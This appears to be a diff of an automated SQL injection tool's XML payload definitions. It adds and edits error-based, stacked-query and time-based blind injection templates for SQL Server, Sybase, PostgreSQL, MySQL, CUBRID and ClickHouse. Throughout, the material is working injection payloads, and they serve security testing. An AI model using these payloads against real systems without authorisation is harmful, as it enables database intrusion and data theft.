|
||||||
|
<title>Microsoft SQL Server error-based - Stacking (RAISERROR)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
|
|||||||
@@ -141,7 +141,7 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
<vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
<payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
|
|||||||
@@ -207,7 +207,7 @@
|
|||||||
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
<title>PostgreSQL < 8.2 stacked queries (Glibc - comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>3</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||||
@@ -229,7 +229,7 @@
|
|||||||
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
<title>PostgreSQL < 8.2 stacked queries (Glibc)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>3</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||||
@@ -328,6 +328,48 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase stacked queries (no semicolon)</title>
|
||||||
|
<stype>4</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector> IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
|
||||||
|
<request>
|
||||||
|
<payload> WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon)</title>
|
||||||
|
<stype>4</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x</vector>
|
||||||
|
<request>
|
||||||
|
<payload> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
|
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
|
|||||||
@@ -11,9 +11,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -31,9 +31,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -51,9 +51,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -71,9 +71,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -91,9 +91,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND SLEEP([SLEEPTIME])</payload>
|
<payload>AND !SLEEP([SLEEPTIME])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -112,9 +112,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
<vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR SLEEP([SLEEPTIME])</payload>
|
<payload>OR !SLEEP([SLEEPTIME])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -133,9 +133,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -154,9 +154,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -339,9 +339,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -359,9 +359,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
<vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE SLEEP([SLEEPTIME])</payload>
|
<payload>RLIKE !SLEEP([SLEEPTIME])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -380,9 +380,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -400,9 +400,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -421,9 +421,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -441,9 +441,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -460,9 +460,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -480,9 +480,9 @@
|
|||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
<comment>#</comment>
|
<comment>#</comment>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
@@ -1092,6 +1092,45 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>CUBRID AND time-based blind (SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
|
||||||
|
<vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Cubrid</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>CUBRID OR time-based blind (SLEEP)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>1</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Cubrid</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Firebird >= 2.0 AND time-based blind (heavy query)</title>
|
<title>Firebird >= 2.0 AND time-based blind (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1494,6 +1533,44 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse AND time-based blind (sleepEachRow)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>ClickHouse OR time-based blind (sleepEachRow)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[SLEEPTIME]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>ClickHouse</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>ClickHouse AND time-based blind (heavy query)</title>
|
<title>ClickHouse AND time-based blind (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
@@ -1586,9 +1663,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
<vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1606,9 +1683,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
<vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
<payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1626,9 +1703,9 @@
|
|||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
|
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
|
<payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[DELAYED]</time>
|
<time>[DELAYED]</time>
|
||||||
@@ -1666,9 +1743,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
|
<vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
|
<payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1685,9 +1762,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1704,9 +1781,9 @@
|
|||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
|
<vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
|
<payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<time>[SLEEPTIME]</time>
|
<time>[SLEEPTIME]</time>
|
||||||
@@ -1776,6 +1853,26 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
|
<!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
|
||||||
|
